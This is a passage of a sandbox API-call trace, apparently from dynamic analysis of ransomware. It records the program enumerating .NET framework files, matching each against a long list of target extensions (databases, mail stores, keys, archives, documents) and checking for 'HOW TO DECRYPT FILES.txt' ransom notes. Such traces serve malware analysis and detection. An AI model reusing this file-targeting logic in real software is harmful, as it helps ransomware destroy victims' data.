(lpString="*.mpeg") returned 6 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.djvu") returned 0 [0137.461] lstrlenA (lpString="*.djvu") returned 6 [0137.461] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.tiff") returned 0 [0137.462] lstrlenA (lpString="*.tiff") returned 6 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.backup") returned 0 [0137.462] lstrlenA (lpString="*.backup") returned 8 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.pdf") returned 0 [0137.462] lstrlenA (lpString="*.pdf") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.cert") returned 0 [0137.462] lstrlenA (lpString="*.cert") returned 6 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.docm") returned 0 [0137.462] lstrlenA (lpString="*.docm") returned 6 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.xlsm") returned 0 [0137.462] lstrlenA (lpString="*.xlsm") returned 6 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.dwg") returned 0 [0137.462] lstrlenA (lpString="*.dwg") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.nd") returned 0 [0137.462] lstrlenA (lpString="*.nd") returned 4 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.tlg") returned 0 [0137.462] lstrlenA (lpString="*.tlg") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.lgb") returned 0 [0137.462] lstrlenA (lpString="*.lgb") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mov") returned 0 [0137.462] lstrlenA (lpString="*.mov") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.xdw") returned 0 [0137.462] lstrlenA (lpString="*.xdw") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.ods") returned 0 [0137.462] lstrlenA (lpString="*.ods") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.wav") returned 0 [0137.462] lstrlenA (lpString="*.wav") returned 5 [0137.462] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.mp3") returned 0 [0137.463] lstrlenA (lpString="*.mp3") returned 5 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.aiff") returned 0 [0137.463] lstrlenA (lpString="*.aiff") returned 6 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.flac") returned 0 [0137.463] lstrlenA (lpString="*.flac") returned 6 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.m4a") returned 0 [0137.463] lstrlenA (lpString="*.m4a") returned 5 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe", pszSpec="*.csv") returned 0 [0137.463] lstrlenA (lpString="*.csv") returned 5 [0137.463] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ab1d080, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="cvtres.exe.config", cAlternateFileName="CVTRES~1.CON")) returned 1 [0137.463] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cvtres.exe.config") returned 1 [0137.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cvtres.exe.config") returned 1 [0137.463] lstrcmpiA (lpString1="", lpString2="cvtres.exe.config") returned -1 [0137.463] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe") returned="cvtres.exe" [0137.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.463] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.463] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.463] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.463] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="cvtres.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config" [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.ems") returned 0 [0137.463] lstrlenA (lpString="*.ems") returned 5 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.db") returned 0 [0137.463] lstrlenA (lpString="*.db") returned 4 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.dbf") returned 0 [0137.463] lstrlenA (lpString="*.dbf") returned 5 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.myox") returned 0 [0137.463] lstrlenA (lpString="*.myox") returned 6 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.myo") returned 0 [0137.463] lstrlenA (lpString="*.myo") returned 5 [0137.463] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbw") returned 0 [0137.464] lstrlenA (lpString="*.qbw") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbb") returned 0 [0137.464] lstrlenA (lpString="*.qbb") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbm") returned 0 [0137.464] lstrlenA (lpString="*.qbm") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbo") returned 0 [0137.464] lstrlenA (lpString="*.qbo") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbx") returned 0 [0137.464] lstrlenA (lpString="*.qbx") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qba") returned 0 [0137.464] lstrlenA (lpString="*.qba") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qby") returned 0 [0137.464] lstrlenA (lpString="*.qby") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qbj") returned 0 [0137.464] lstrlenA (lpString="*.qbj") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.ofx") returned 0 [0137.464] lstrlenA (lpString="*.ofx") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.qif") returned 0 [0137.464] lstrlenA (lpString="*.qif") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mye") returned 0 [0137.464] lstrlenA (lpString="*.mye") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mbox") returned 0 [0137.464] lstrlenA (lpString="*.mbox") returned 6 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.eml") returned 0 [0137.464] lstrlenA (lpString="*.eml") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.pst") returned 0 [0137.464] lstrlenA (lpString="*.pst") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.ost") returned 0 [0137.464] lstrlenA (lpString="*.ost") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.idx") returned 0 [0137.464] lstrlenA (lpString="*.idx") returned 5 [0137.464] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.dbx") returned 0 [0137.465] lstrlenA (lpString="*.dbx") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.sql") returned 0 [0137.465] lstrlenA (lpString="*.sql") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mdb") returned 0 [0137.465] lstrlenA (lpString="*.mdb") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.fdb") returned 0 [0137.465] lstrlenA (lpString="*.fdb") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.wab") returned 0 [0137.465] lstrlenA (lpString="*.wab") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.dat") returned 0 [0137.465] lstrlenA (lpString="*.dat") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.txt") returned 0 [0137.465] lstrlenA (lpString="*.txt") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.jpeg") returned 0 [0137.465] lstrlenA (lpString="*.jpeg") returned 6 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.jpg") returned 0 [0137.465] lstrlenA (lpString="*.jpg") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.png") returned 0 [0137.465] lstrlenA (lpString="*.png") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.php") returned 0 [0137.465] lstrlenA (lpString="*.php") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.cs") returned 0 [0137.465] lstrlenA (lpString="*.cs") returned 4 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.cpp") returned 0 [0137.465] lstrlenA (lpString="*.cpp") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.rar") returned 0 [0137.465] lstrlenA (lpString="*.rar") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.zip") returned 0 [0137.465] lstrlenA (lpString="*.zip") returned 5 [0137.465] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.html") returned 0 [0137.465] lstrlenA (lpString="*.html") returned 6 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.htm") returned 0 [0137.466] lstrlenA (lpString="*.htm") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.xlsx") returned 0 [0137.466] lstrlenA (lpString="*.xlsx") returned 6 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.xls") returned 0 [0137.466] lstrlenA (lpString="*.xls") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mp4") returned 0 [0137.466] lstrlenA (lpString="*.mp4") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.ppt") returned 0 [0137.466] lstrlenA (lpString="*.ppt") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.pptx") returned 0 [0137.466] lstrlenA (lpString="*.pptx") returned 6 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.doc") returned 0 [0137.466] lstrlenA (lpString="*.doc") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.dot") returned 0 [0137.466] lstrlenA (lpString="*.dot") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.docx") returned 0 [0137.466] lstrlenA (lpString="*.docx") returned 6 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.7z") returned 0 [0137.466] lstrlenA (lpString="*.7z") returned 4 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.tar") returned 0 [0137.466] lstrlenA (lpString="*.tar") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.bz2") returned 0 [0137.466] lstrlenA (lpString="*.bz2") returned 5 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.gz") returned 0 [0137.466] lstrlenA (lpString="*.gz") returned 4 [0137.466] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mkv") returned 0 [0137.467] lstrlenA (lpString="*.mkv") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.eml") returned 0 [0137.467] lstrlenA (lpString="*.eml") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.msg") returned 0 [0137.467] lstrlenA (lpString="*.msg") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.edb") returned 0 [0137.467] lstrlenA (lpString="*.edb") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.accdb") returned 0 [0137.467] lstrlenA (lpString="*.accdb") returned 7 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.odb") returned 0 [0137.467] lstrlenA (lpString="*.odb") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.java") returned 0 [0137.467] lstrlenA (lpString="*.java") returned 6 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.asm") returned 0 [0137.467] lstrlenA (lpString="*.asm") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.pfx") returned 0 [0137.467] lstrlenA (lpString="*.pfx") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.pem") returned 0 [0137.467] lstrlenA (lpString="*.pem") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.p12") returned 0 [0137.467] lstrlenA (lpString="*.p12") returned 5 [0137.467] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.gpg") returned 0 [0137.468] lstrlenA (lpString="*.gpg") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.vsd") returned 0 [0137.468] lstrlenA (lpString="*.vsd") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.odg") returned 0 [0137.468] lstrlenA (lpString="*.odg") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.raw") returned 0 [0137.468] lstrlenA (lpString="*.raw") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.nef") returned 0 [0137.468] lstrlenA (lpString="*.nef") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.svg") returned 0 [0137.468] lstrlenA (lpString="*.svg") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.psd") returned 0 [0137.468] lstrlenA (lpString="*.psd") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.vmx") returned 0 [0137.468] lstrlenA (lpString="*.vmx") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.vmdk") returned 0 [0137.468] lstrlenA (lpString="*.vmdk") returned 6 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.vdi") returned 0 [0137.468] lstrlenA (lpString="*.vdi") returned 5 [0137.468] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.lay6") returned 0 [0137.469] lstrlenA (lpString="*.lay6") returned 6 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mpeg") returned 0 [0137.469] lstrlenA (lpString="*.mpeg") returned 6 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.djvu") returned 0 [0137.469] lstrlenA (lpString="*.djvu") returned 6 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.tiff") returned 0 [0137.469] lstrlenA (lpString="*.tiff") returned 6 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.backup") returned 0 [0137.469] lstrlenA (lpString="*.backup") returned 8 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.pdf") returned 0 [0137.469] lstrlenA (lpString="*.pdf") returned 5 [0137.469] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.cert") returned 0 [0137.469] lstrlenA (lpString="*.cert") returned 6 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.docm") returned 0 [0137.470] lstrlenA (lpString="*.docm") returned 6 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.xlsm") returned 0 [0137.470] lstrlenA (lpString="*.xlsm") returned 6 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.dwg") returned 0 [0137.470] lstrlenA (lpString="*.dwg") returned 5 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.nd") returned 0 [0137.470] lstrlenA (lpString="*.nd") returned 4 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.tlg") returned 0 [0137.470] lstrlenA (lpString="*.tlg") returned 5 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.lgb") returned 0 [0137.470] lstrlenA (lpString="*.lgb") returned 5 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mov") returned 0 [0137.470] lstrlenA (lpString="*.mov") returned 5 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.xdw") returned 0 [0137.470] lstrlenA (lpString="*.xdw") returned 5 [0137.470] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.ods") returned 0 [0137.470] lstrlenA (lpString="*.ods") returned 5 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.wav") returned 0 [0137.471] lstrlenA (lpString="*.wav") returned 5 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.mp3") returned 0 [0137.471] lstrlenA (lpString="*.mp3") returned 5 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.aiff") returned 0 [0137.471] lstrlenA (lpString="*.aiff") returned 6 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.flac") returned 0 [0137.471] lstrlenA (lpString="*.flac") returned 6 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.m4a") returned 0 [0137.471] lstrlenA (lpString="*.m4a") returned 5 [0137.471] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config", pszSpec="*.csv") returned 0 [0137.471] lstrlenA (lpString="*.csv") returned 5 [0137.471] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x590ff0c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x116b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSvcUtil.exe", cAlternateFileName="DATASV~1.EXE")) returned 1 [0137.471] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.471] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DataSvcUtil.exe") returned 1 [0137.471] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DataSvcUtil.exe") returned 1 [0137.471] lstrcmpiA (lpString1="", lpString2="DataSvcUtil.exe") returned -1 [0137.471] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config") returned="cvtres.exe.config" [0137.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.471] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.471] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.472] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.472] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="DataSvcUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe") 